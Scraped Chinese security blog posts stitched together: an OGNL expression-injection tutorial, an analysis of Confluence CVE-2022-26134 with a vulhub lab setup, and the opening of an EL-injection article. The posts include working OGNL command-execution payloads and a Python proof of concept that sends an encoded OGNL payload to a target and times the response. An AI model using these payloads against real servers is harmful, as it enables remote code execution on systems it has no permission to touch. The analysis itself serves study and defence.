    Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());

    System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);

    // 获取ognl非root相关值

    Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());

    Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());

    Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());

    System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);

    // OGNL命令执行

    // Object res = Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"open -a Calculator\")", context, context.getRoot());

    // 理论上只要存在一个OGNL注入点,就可以基于Java的内省和反射机制,实现命令执行

    Object res = Ognl.getValue("(new java.lang.ProcessBuilder(new java.lang.String[]{\"open\", \"-a\", \"Calculator\"})).start()", context, context.getRoot());

    }

    }

    一个更简单的POC如下,

    import ognl.Ognl;

    import ognl.OgnlContext;

    public class Test {

    public static void main(String[] args) throws Exception {

    // 创建一个OGNL上下文对象

    OgnlContext context = new OgnlContext();

    // getValue()触发

    // @[类全名(包括包路径)]@[方法名|值名]

    Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());

    // setValue()触发

    // Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());

    }

    }

    getValue()和setValue()都能成功解析恶意的OGNL表达式、触发弹计算器。

    漏洞的触发点就在Ognl.getValue()这里。

    Ognl.getValue()处理表达式时,会先生成一个tree,这个tree本质是SimpleNode实例,树的每个节点都是一个ASTChain实例,ASTChain继承自SimpleNode。

    当调用node.getValue(ognlContext, root);时,会调用SimpleNode.getValue()进行处理,SimpleNode.getValue()会通过SimpleNode.evaluateGetValueBody()计算结果。 

    SimpleNode.evaluateGetValueBody()在计算非常量情况的结果时会调用子类的getValueBody,Ognl在处理节点时分为多种情况进行处理:ASTChain、ASTConst、ASTCtor、ASTInstanceof、ASTList、ASTMethod、ASTStaticField、ASTStaticMethod等。 

    ASTChain.getValueBody()在处理时,会迭代调用getValue处理子节点的结果,最终还是会调用ASTXXX方法处理节点的结果。

    当Ognl计算@java.lang.Runtime@getRuntime()时,由于方法时静态方法会调用ASTStaticMethod.getValueBody。ASTStaticMethod.getValueBody通过OgnlRuntime.callStaticMethod处理方法的调用。 

    通过OgnlRuntime.callAppropriateMethod()处理方法调用,最终会调用Method.invoke()进行方法调用并返回值。 

    同样的,Ognl计算exec("calc")时,调用ASTMethod.getValueBody,最终也是在OgnlRuntime.callAppropriateMethod()中调用Method.invoke()处理。 

    0x2:OGNL高版本下的黑名单 

    OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单。我们将依赖更新为3.1.25,

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

    4.0.0

    org.example

    OGNL_test

    1.0-SNAPSHOT

    8

    8

    UTF-8

    ognl

    ognl

    3.1.25

    然后再次运行,就会得到一个报错信息,如下: 

    根据报错信息,跟进到OgnlRuntime#invokeMethod,可以看到如下的黑名单:

    0x3:HTTP请求中常见的注入点

    参考链接:

    https://boogipop.com/2023/04/25/Struct2%20OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/

    http://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

     

    三、OGNL真实漏洞分析

    0x1:Confluence CVE-2021-26084

    1、Confluence简介

    Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

    2、Confluence velocity模板引擎语法

    Confluence velocity模板引擎基本语法如下:

     

    "#"标识velocity的脚本语句

    "$"获取一个对象或变量

    "{}"用来标识velocity变量

    "!"对变量为null的情况在页面显示为空白字符串

    用双引号还是单引号表示,默认“双引号,可以在stringliterals.interpolate=false改变默认处理方式

     

    一个简单示例如下,

    ## 1、变量引用

    $name

    ## 2、语句/指令-变量赋值

    #($name="test")

    #set($value= 123)

    ## 3、#include和#parse的作用都是引入本地文件。#include引入的文件内容不会被velocity模板引擎解析。#parse引入的文件内容,将解析其中的velocity并交给模板,相当于把引入的文件内容copy到文件中。

    #parse ( "/template/includes/actionerrors.vm" )

    #include ( "/template/includes/actionerrors.vm" )

    更多语法可参考:http://velocity.apache.org/engine/1.7/user-guide.html

     

    3、漏洞原理分析

     

    confluence处理velocity模板,将velocity语法转为字符串输出到页面,其中涉及到的一些表达式计算会调用ognl.getValue()处理。

    confluence在处理vm文件时,首先将vm内容转为AST语法树,然后分别处理每一个节点的内容,将每个节点的内容拼接输出。

     

    Confluence的Velocity模板引擎处理vm文件流程主要在com.opensymphony.webwork.dispatcher.VelocityResult.doExecute(),首先获取OgnlValueStack、context上下文、getTemplate获取vm文件,接下来用merge处理合并页面结果,将结果输出给writer。

    0x2:Struts OGNL注入漏洞 

    webwork2和现在的Struts2.x中使用OGNL取代原来的EL来做界面数据绑定,所谓界面数据绑定,也就是把界面元素(例如一个textfield,hidden)和对象层某个类的某个属性绑定在一起,修改和显示自动同步。而Struts2框架正是因为滥用OGNL表达式,使之成为了“漏洞之王”。

    0x3:Mybatis SQL解析OGNL注入漏洞

    Mybatis在动态SQL中,可以解析OGNL表达式,如果我们控制了一个变量,并且该变量可以被解析成OGNL表达式,就能够实现OGNL表达式注入。

    参考链接:

    https://www.cnpanda.net/sec/1227.html

    https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md

    https://tttang.com/archive/1583/#toc_0x06-s2-045

    https://blog.csdn.net/GalaxySpaceX/article/details/132364381

    https://baike.baidu.com/item/confluence/452961

    https://blog.csdn.net/Kevin__Durant/article/details/123147336

    https://xz.aliyun.com/t/10482#toc-10

    https://chenlvtang.top/2022/08/11/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%B9%8BOGNL/

    https://static.anquanke.com/download/b/security-geek-2019-q1/article-19.html

     

    四、OGNL防护思路

    OGNL漏洞的修复基本都是采用黑名单来限制OGNL注入,开发人员在使用ognl时,除了ognl需要注意使用较高版本,还要注意添加额外的防护措施。

    当然,使用黑名单的防护方式也许一时可以防住OGNL的RCE,但总有被绕过的风险,另外除了命令执行,文件操作、SSRF也同样存在风险敞口。

     

    posted @

    2023-10-27 11:38 

    郑瀚Andrew 

    阅读(623) 

    评论(0) 

    编辑 

    收藏 

    举报

    会员力量,点亮园子希望

    刷新页面返回顶部

    公告

    Copyright © 2024 郑瀚Andrew

    Powered by .NET 8.0 on Kubernetes

    Java表达式注入之OGNL | 沉铝汤的破站

    Java表达式注入之OGNL | 沉铝汤的破站

    沉铝汤的破站

    IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

    主页

    归档

    友链

    Java安全

    关注我

    Java表达式注入之OGNL

    2022-08-11

    0x00 前言

    现在已经是自由人了,不用再被繁琐的工作拖累了,所以有了更多时间可以学习。说到OGNL注入,你肯定第一个想到的是Struts2,但是我这里并不打算直接从其入手。一是,光是分析他的修复历史以及绕过就要一大篇文章去写;二是,我想锻炼一下自己的漏洞分析能力,而Struts2系列,很多师傅已经写过了,所以本文我分析的漏洞基本上都是比较新的CVE。当然,我后面还是会专门写一篇Struts2漏洞文章的。

    CVE-2022-26134漏洞分析

    0x01 OGNL

    表达式OGNL是Java中常见的一种表达式,在Java安全中,我们之后还能见到EL、SPEL、JEXL表达式、(其实在之前的Nexus文章我已经见过了,但是没深入了解),懒狗预计后面会各自写一篇文章。

    什么是表达式呢?其实通俗的说就是一个帮助我们更方便操作Bean等对象的式子,比如下面这个例子:

    // 正常Java代码

    String name = MyUser.getName()

    // 表达式写法

    #MyUser.name

    可以看到,通过表达式,可以简化我们对类的操作。

    OGNL三要素OGNL有以下三要素:

    Expression 表达式

    root 根对象,即操作对象

    context 上下文,用来保存对象运行的属性及其值,有点类似于运行环境的意思,保存了环境变量

    以下便是一个OGNL的实例,大家可以先感受一下:

    public class JustTest {

    public static void main(String[] args) throws Exception {

    Hacker hacker = new Hacker();

    hacker.setName("chenlvtang");

    // 创建Context并传入root

    OgnlContext context = new OgnlContext();

    context.setRoot(hacker)

    // 创建Expression

    String expression = "hacker.name";

    Object ognl = Ognl.parseExpression(expression);

    // 调用

    Object value = Ognl.getValue(ognl,context,context.getRoot());

    System.out.println("result:" + value);

    }

    }

    OGNL语法

    .操作符:如上所示,可以调用对象的属性和方法, hacker.name,且上一个节点的结果作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a)),也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))

    @操作符:用于调用静态对象、静态方法、静态变量,@java.lang.Math@abs(-10)

    #操作符:

    a)用于调用非root对象

    // 放入Context中,但不是root

    context.put("user", user)

    // 创建Expression,非root,所以要加上#

    String expression = "#user.name";

    Object ognl = Ognl.parseExpression(expression);

    // 调用

    Object value = Ognl.getValue(ognl,context,context.getRoot());

    b)创建Map

    #{"name": "chenlvtang", "level": "noob"}

    c)定义变量

    #a=new java.lang.String[]{"calc"}

    $操作符:一般用于配置文件,${name}

    %操作符:计算其中的OGNL表达式,%{hacker.name}

    List:直接使用{"green", "red", "blue"}创建

    对象创建:new java.lang.String[]{"foobar"}

    0x02 OGNL注入

    简介上文对OGNL的简单了解后,我们可以看到,利用OGNL可以用来操作类并进行相关调用。而所谓OGNL注入,即是当解析OGNL的函数(如上文的getValue)中参数可控时,传入恶意的OGNL语句,从而实现RCE等恶意操作。

    OGNL RCE的测试在pom.xml中加入如下的依赖(OGNL有2和3两个大版本,此处使用2):

    ognl

    ognl

    2.7.3

    然后,我们根据上面学习的OGNL语法,写下如下的代码:

    public class MyOGNL {

    public static void main(String[] args) throws OgnlException {

    String expression = "@java.lang.Runtime@getRuntime().exec('calc')";

    OgnlContext context = new OgnlContext();

    Ognl.getValue(expression, context, context.getRoot());

    }

    }

    运行后,成功弹出计算器。具体里面怎么实现的,我这里就不跟进了,其实我感觉很多文章跟进,意义也不大……

    OGNL 高版本下的黑名单OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单。我们将依赖更新为3.1.25,然后再次运行,就会得到一个报错信息,如下:

    根据报错信息,跟进到OgnlRuntime#invokeMethod,可以看到如下的黑名单:

    public static Object invokeMethod(Object target, Method method, Object[] argsArray)

    throws InvocationTargetException, IllegalAccessException

    {

    if (_useStricterInvocation) {

    final Class methodDeclaringClass = method.getDeclaringClass(); // Note: synchronized(method) call below will already NPE, so no null check.

    if ( (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)) ||

    (AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)) ||

    (SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)) ||

    (SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)) ||

    AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||

    ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||

    MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||

    MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||

    OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||

    Runtime.class.isAssignableFrom(methodDeclaringClass) ||

    ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||

    ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||

    AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) ) {

    throw new IllegalAccessException("........");

    }

    0x03 CVE-2022-26134 Confluence

    漏洞信息官方通告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

    根据通告,我们确定了漏洞包为:xwork-1.0.3-atlassian-8.jar(点击下载);漏洞修复包为:xwork-1.0.3-atlassian-10.jar(点击下载)

    漏洞点将上面下载的源码解压,然后放进IDEA中,然后进行比较,找到了补丁的修复点如下(ActionChainResult#execute):

    代码如下:

    OgnlValueStack stack = ActionContext.getContext().getValueStack();

    String finalNamespace = TextParseUtil.translateVariables(namespace, stack);

    String finalActionName = TextParseUtil.translateVariables(actionName, stack);

    环境搭建修改vulhub里的靶场(可以随便一个低版本的Confluence即可,这里我是用的对应CVE的靶场)的docker-compose.yml,添加上调试端口:

    version: '2'

    services:

    web:

    image: vulhub/confluence:7.13.6

    ports:

    - "8090:8090"

    - "5050:5050"

    depends_on:

    - db

    db:

    image: postgres:12.8-alpine

    environment:

    - POSTGRES_PASSWORD=postgres

    - POSTGRES_DB=confluence

    使用docker-compose up -d将vulhub里的靶场启动(最好挂上代理来拉取),之后访问127.0.0.1:8090,即可看到如下的安装界面(原谅我从奇安信社区的文章截了一个图,因为我当时直接下一步,忘记截图了):

    复制上图中的Server ID,然后访问:https://my.atlassian.com/license/evaluation,进行如下的选择,并填入我们刚刚复制的ID:

    点击生成证书后,就会跳转到对应界面。在这里,我们可以复制key:

    把key复制到靶场对应位置,之后就可以开始安装了,在此页面填入数据库信息(根据https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134进行填写即可):

    之后就没什么值得注意的了,自己随便点点就能完成了。不过我们还需要下载一份代码用于我们调试,访问https://www.atlassian.com/software/confluence/download-archives,下载与Vulhub中相同的版本:7.13.6。接着,用IDEA将其打开,并将/confluence/WEB-INF中lib文件夹、atlassian-bundled-plugins-setup、atlassian-bundled-plugins添加到依赖之中(如果不加,之后远程调试时,服务会启动失败):

    下一步,就是设置JVM远程调试,并开启调试:

    进入docker容器,并在其配置文件中加入参数:

    docker exec -it xxx

    cd /opt/atlassian/confluence/bin

    sed -i '/export CATALINA_OPTS/iCATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' setenv.sh

    然后重启服务:

    docker restart xxxx

    在上文的补丁处,设下断点(这里还可以通过IDEA将代码源选择为之前下载的源码),访问127.0.0.1:8090,成功在断点中止:

    漏洞分析简单跟进后,我们在translateVariables()方法中发现了和OGNL相关的代码如下:

    public static String translateVariables(String expression, OgnlValueStack stack) {

    StringBuilder sb = new StringBuilder();

    // 通过正则匹配出表达式,匹配的是${任意字符}这种形式

    Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");

    Matcher m = p.matcher(expression);

    int previous;

    for(previous = 0; m.find(); previous = m.end()) {

    String g = m.group(1);

    int start = m.start();

    String value;

    try {

    //Watch out, 注意这里

    Object o = stack.findValue(g);

    value = o == null ? "" : o.toString();

    } catch (Exception var10) {

    value = "";

    }

    sb.append(expression.substring(previous, start)).append(value);

    }

    继续跟进findValue()方法,可以看到调用了我们在上文讲过的getValue:

    public Object findValue(String expr) {

    try {

    // 略

    return this.defaultType != null ? this.findValue(expr, this.defaultType) : Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);

    }

    } catch (OgnlException var3) {

    return null;

    } catch (Exception var4) {

    // 略

    }

    }

    而纵观整个过程,都不存在过滤,所以当ActionChainResult.namespace和ActionChainResult.actionName可控时,就可以成功通过OGNL来实现RCE(并且通过源码,我们可以发现Confluence使用的OGNL版本为2.6.5,所以不存在黑名单)。因此,下一步,我们的目标就是找到this.namespace和this.actionName可控的地方。

    向上追溯,发现ActionChainResult是在DefaultActionInvocation#executeResult中通过createResult创建,并调用的execute,传入的是DefaultActionInvocation:

    private void executeResult() throws Exception {

    result = createResult();

    //这里result等于ActionChainResult

    if (result != null) {

    result.execute(this);

    } else if (!Action.NONE.equals(resultCode)) {

    //略

    }

    }

    跟进DefaultActionInvocation#createResult:

    public Result createResult() throws Exception {

    Map results = proxy.getConfig().getResults();

    ResultConfig resultConfig = (ResultConfig) results.get(resultCode);

    Result newResult = null;

    if (resultConfig != null) {

    try {

    newResult = ObjectFactory.getObjectFactory().buildResult(resultConfig);

    } catch (Exception e) {

    //略

    }

    }

    从这里可以看到,他先获得一个Map,然后从map中根据resultCode取出对应的resultConfig ,最后通过向buildResult传入resultConfig 将其实例化。这里我们的resultCode为“notpermitted”:

    在map中找到对应的值如下图所示:

    在其中的resultConfig 记录了className和params,并且actionName为“notpermitted”,跟进buildResult就会发现,他就是用过这个设置来实例化的:

    public Result buildResult(ResultConfig resultConfig) throws Exception {

    // 获取config中的类名

    String resultClassName = resultConfig.getClassName();

    Result result = null;

    if (resultClassName != null) {

    // 创建类

    result = (Result) buildBean(resultClassName);

    // 获取config中的params来设置参数

    OgnlUtil.setProperties(resultConfig.getParams(), result, ActionContext.getContext().getContextMap());

    }

    return result;

    }

    所以,我们的actionName便是由proxy.getConfig().getResults()所决定的,更简单的说,是由DefaultActionInvocation.proxy决定的。而回过头去看漏洞点处的代码,会发现namespace同样是由他决定(在不改变proxy中的Map时,这里namespace一定会因为null,进入if,因为Map中params只有actionName的值):

    public void execute(ActionInvocation invocation) throws Exception {

    if (this.namespace == null) {

    this.namespace = invocation.getProxy().getNamespace();

    }

    OgnlValueStack stack = ActionContext.getContext().getValueStack();

    String finalNamespace = TextParseUtil.translateVariables(namespace, stack);

    String finalActionName = TextParseUtil.translateVariables(actionName, stack);

    这里的invocation.getProxy()即会获得DefaultActionInvocation.proxy。因此我们的目标转换为了,DefaultActionInvocation.proxy在何时可控?

    继续向上追溯,发现在ConfluenceServletDispatcher#serviceAction中进行了proxy的创建,并调用execute:

    ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);

    request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());

    proxy.execute();

    熟悉代理的同学,就会知道,这里proxy其实就是DefaultActionInvocation.proxy,proxy.execute()会去调用invocation的invoke:

    public String execute() throws Exception {

    ActionContext nestedContext = ActionContext.getContext();

    ActionContext.setContext(invocation.getInvocationContext());

    String retCode = null;

    try {

    // 这里

    retCode = invocation.invoke();

    } finally {

    ActionContext.setContext(nestedContext);

    }

    return retCode;

    }

    所以我们只要找到ConfluenceServletDispatcher#serviceAction中的namespace和actionName何时可控就可以控制proxy的创建了。继续向上追溯,发现其由ServletDispatcher#service调用:

    public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException {

    try {

    if (this.paramsWorkaroundEnabled) {

    request.getParameter("foo");

    }

    request = this.wrapRequest(request);

    // 这里

    this.serviceAction(request, response, this.getNameSpace(request), this.getActionName(request), this.getRequestMap(request), this.getParameterMap(request), this.getSessionMap(request), this.getApplicationMap());

    } catch (IOException var5) {

    // 略

    }

    }

    看到ServletDispatcher,我们就知道,已经快接近最终的可控点了。查看getNameSpace:

    protected String getNameSpace(HttpServletRequest request) {

    String servletPath = request.getServletPath();

    return getNamespaceFromServletPath(servletPath);

    }

    先使用getServletPath获取请求路径,然后传入getNamespaceFromServletPath,继续跟进:

    public static String getNamespaceFromServletPath(String servletPath) {

    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));

    return servletPath;

    }

    只是单纯的把/去除。至此,我们似乎已经可以通过URL来控制namespace,从而触发漏洞了。访问http://127.0.0.1:8090/${6+6}/,发现成功触发漏洞:

    那actionName是否可控呢?首先看actionName是什么,跟进上文的 this.getActionName(request):

    protected String getActionName(HttpServletRequest request) {

    String servletPath = (String)request.getAttribute("javax.servlet.include.servlet_path");

    if (servletPath == null) {

    servletPath = request.getServletPath();

    }

    return this.getActionName(servletPath);

    }

    protected String getActionName(String name) {

    int beginIdx = name.lastIndexOf("/");

    int endIdx = name.lastIndexOf(".");

    return name.substring(beginIdx == -1 ? 0 : beginIdx + 1, endIdx == -1 ? name.length() : endIdx);

    }

    因此,actionName实际就是我们访问的文件名,如hacker.action,actionName即为hacekr。再查看DefaultActionProxy的构造函数:

    protected DefaultActionProxy(String namespace, String actionName, Map extraContext, boolean executeResult) throws Exception {

    if (LOG.isDebugEnabled()) {

    LOG.debug("Creating an DefaultActionProxy for namespace " + namespace + " and action name " + actionName);

    }

    this.actionName = actionName;

    this.namespace = namespace;

    this.executeResult = executeResult;

    this.extraContext = extraContext;

    //这里

    config = ConfigurationManager.getConfiguration().getRuntimeConfiguration().getActionConfig(namespace, actionName);

    if (config == null) {

    String message;

    if ((namespace != null) && (namespace.trim().length() > 0)) {

    //这里

    message = LocalizedTextUtil.findDefaultText(XWorkMessages.MISSING_PACKAGE_ACTION_EXCEPTION, Locale.getDefault(), new String[] {

    namespace, actionName

    });

    } else {

    message = LocalizedTextUtil.findDefaultText(XWorkMessages.MISSING_ACTION_EXCEPTION, Locale.getDefault(), new String[] {

    actionName

    });

    }

    throw new ConfigurationException(message);

    }

    prepare();

    }

    可以看到config实际是从配置中获取的,当我们尝试修改时,会因为找不到,而抛出错误。

    POC由上文的分析,我们编写POC如下:

    import requests

    import time

    target = "http://{}/%24%7B%40java.util.concurrent.TimeUnit%40SECONDS.sleep(1)%7D/"

    payload = target.format("192.168.125.128:8090")

    startTime = time.time()

    rq = requests.get(url=payload)

    if time.time() - startTime >= 2:

    print("CVE-2022-26134")

    else:

    print("FoolHacker")

    通过响应时间来判断是否存在漏洞。

    Confluence高版本绕过在7.15 及以上的版本的findValue中增加了检查,懒狗将在更深入学习了OGNL注入后,补上这一部分。

    0x04 参考

    mi1k7ea

    https://xz.aliyun.com/t/10482#toc-1

    学习

    Proudly powered by Hexo and

    Theme by Hacker

    © 2023 chenlvtang

    赣ICP备2020012876号

    Java安全学习—表达式注入 - FreeBuf网络安全行业门户

    Java安全学习—表达式注入 - FreeBuf网络安全行业门户

    主站 分类

    漏洞

    工具

    极客

    Web安全

    系统安全

    网络安全

    无线安全

    设备/客户端安全

    数据安全

    安全管理

    企业安全

    工控安全

    特色

    头条

    人物志

    活动

    视频

    观点

    招聘

    报告

    资讯

    区块链安全

    标准与合规

    容器安全

    公开课

    报告 专辑 ···公开课···商城···

    用户服务

    ··· 行业服务

    政 府

    CNCERT

    CNNVD

    会员体系(甲方)

    会员体系(厂商)

    产品名录

    企业空间

    知识大陆 搜索 创作中心 登录注册 官方公众号企业安全新浪微博 FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。 FreeBuf+小程序把安全装进口袋 Java安全学习—表达式注入

    关注

    Web安全 Java安全学习—表达式注入

    2022-03-21 22:22:44

    所属地 海外

    本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载

    前言在Java安全学习中, 常见的表达式注入方式有EL表达式注入、SpEL表达式注入和OGNL表达式注入, 这里来对其进行一个简略的分析.EL表达式注入EL 简介EL(Expression Language)是为了使JSP写起来更加简单. 表达式语言的灵感来自于ECMAScript和XPath表达式语言, 它提供了在JSP中简化表达式的方法, 让JSP的代码更加简化.EL表达式主要功能如下:获取数据:EL表达式主要用于替换JSP页面中的脚本表达式, 以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组).执行运算: 利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}.获取Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据.调用Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法.EL表达式特点如下:可得到PageContext属性值.可直接访问JSP的内置对象, 如page,request,session,application等.运算符丰富, 有关系运算符、逻辑运算符、算术运算符等.扩展函数可与JAVA类的静态方法对应.EL 基本语法在JSP中访问模型对象是通过EL表达式的语法来表达. 所有EL表达式的格式都是以${}表示. 例如,${userinfo}代表获取变量userinfo的值. 当EL表达式中的变量不给定范围时, 则默认在page范围查找, 然后依次在request、session、application范围查找. 也可以用范围作为前缀表示属于哪个范围的变量, 例如:${pageScope. userinfo}表示访问page范围中的userinfo变量.[] 与 . 运算符EL表达式提供.和[]两种运算符来存取数据. 当要存取的属性名称中包含一些特殊字符, 如.或-等并非字母或数字的符号, 就一定要使用[]. 例如:${user.My-Name}应当改为${user["My-Name"]}. 如果要动态取值时, 就可以用[]来做, 而.无法做到动态取值, 例如:${sessionScope.user[data]}中data是一个变量.变量EL表达式存取变量数据的方法很简单, 例如:${username}. 它的意思是取出某一范围中名称为username的变量. 因为我们并没有指定哪一个范围的username, 所以它会依序从Page、Request、Session、Application范围查找. 假如途中找到username, 就直接回传, 不再继续找下去, 但是假如全部的范围都没有找到时, 就回传"".EL表达式的属性如下:PagePageScopeRequestRequestScopeSessionSessionScopeApplicationApplicationJSP表达式语言定义可在表达式中使用的以下文字:Booleantrue和falseInteger与Java类似, 可以包含任何整数, 例如:24、-45、567Floating Point与Java类似, 可以包含任何正的或负的浮点数, 例如:-1.8E-45、4.567String任何由单引号或双引号限定的字符串. 对于单引号、双引号和反斜杠, 使用反斜杠字符作为转义序列. 必须注意, 如果在字符串两端使用双引号, 则单引号不需要转义.Nullnull操作符JSP表达式语言提供以下操作符, 其中大部分是Java中常用的操作符:术语定义算术型+、-(二元)、*、/、div、%、mod、-(一元).逻辑型and、&&、or、`关系型==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge. 可以与其他值进行比较, 或与布尔型、字符串型、整型或浮点型文字进行比较.空empty空操作符是前缀操作, 可用于确定值是否为空.条件型A ? B : C. 根据A赋值的结果来赋值B或C.隐式对象JSP表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet和表达式中可用:术语定义pageContextJSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如,${pageContext.response}为页面的响应对象赋值.此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:术语定义param将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name)获得).getParameter(String)方法返回带有特定名称的参数. 表达式${param.name}相当于request.getParameter(name).paramValues将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name)获得). 它与param隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name}相当于request.getParamterValues(name).header将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得). 表达式${header.name}相当于request.getHeader(name).headerValues将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得). 它与头隐式对象非常类似, 表达式${headerValues.name}相当于request.getHeaderValues(name).cookie将cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式.initParam将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得).除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文、会话、请求、页面:术语定义pageScope将页面范围的变量名称映射到其值. 例如,EL表达式可以使用${pageScope.objectName}访问一个JSP中页面范围的对象, 还可以使用${pageScope.objectName.attributeName}访问对象的属性.requestScope将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如,EL表达式可以使用${requestScope.objectName}访问一个JSP请求范围的对象, 还可以使用${requestScope.objectName.attributeName}访问对象的属性.sessionScope将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如,${sessionScope.name}.applicationScope将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象.EL 函数EL允许您在表达式中使用函数, 这些函数必须被定义在自定义标签库中. 要使用任何标签库中的函数, 需要将这些库安装在服务器中, 然后使用标签在JSP文件中包含这些库. 函数的使用语法如下:${ns:func(param1, param2, ...)}

    ns: 命名空间

    func: 指的是函数的名称

    paramx: 参数

    EL 调用 Java 方法先新建一个ELFunc类, 其中定义的doSomething函数用于输出Hello, xxx!:package h3rmek1t.javawebsecurity;

    /**

    * @Author: H3rmesk1t

    * @Data: 2022/3/17 11:24 下午

    */

    public class ELFunc {

    public static String doSomething(String str) {

    return "Hello, " + str + "!";

    }

    }

    接着在WEB-INF文件夹下新建test.tld文件, 其中指定执行的Java方法及其URI地址:

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">

    1.0

    ELFunc

    http://www.h3rmesk1t.com/ELFunc

    doSomething

    h3rmek1t.javawebsecurity.ELFunc

    java.lang.String doSomething(java.lang.String)

    JSP文件中, 先头部导入taglib标签库,URI为test.tld中设置的URI地址,prefix为test.tld中设置的short-name, 然后直接在EL表达式中使用类名:方法名()的形式来调用该类方法即可:<%@taglib uri="http://www.h3rmesk1t.com/ELFunc" prefix="ELFunc"%>

    ${ELFunc:doSomething("h3rmesk1t")}

    JSP 中启动/禁用 EL 表达式全局禁用 EL 表达式在web.xml中进行如下配置:

    *.jsp

    true

    单个文件禁用 EL 表达式在JSP文件中可以有如下定义来表示是否禁用EL表达式,true表示禁止,false表示不禁止, 在JSP2.0中默认的启用EL表达式.<%@ page isELIgnored="true" %>

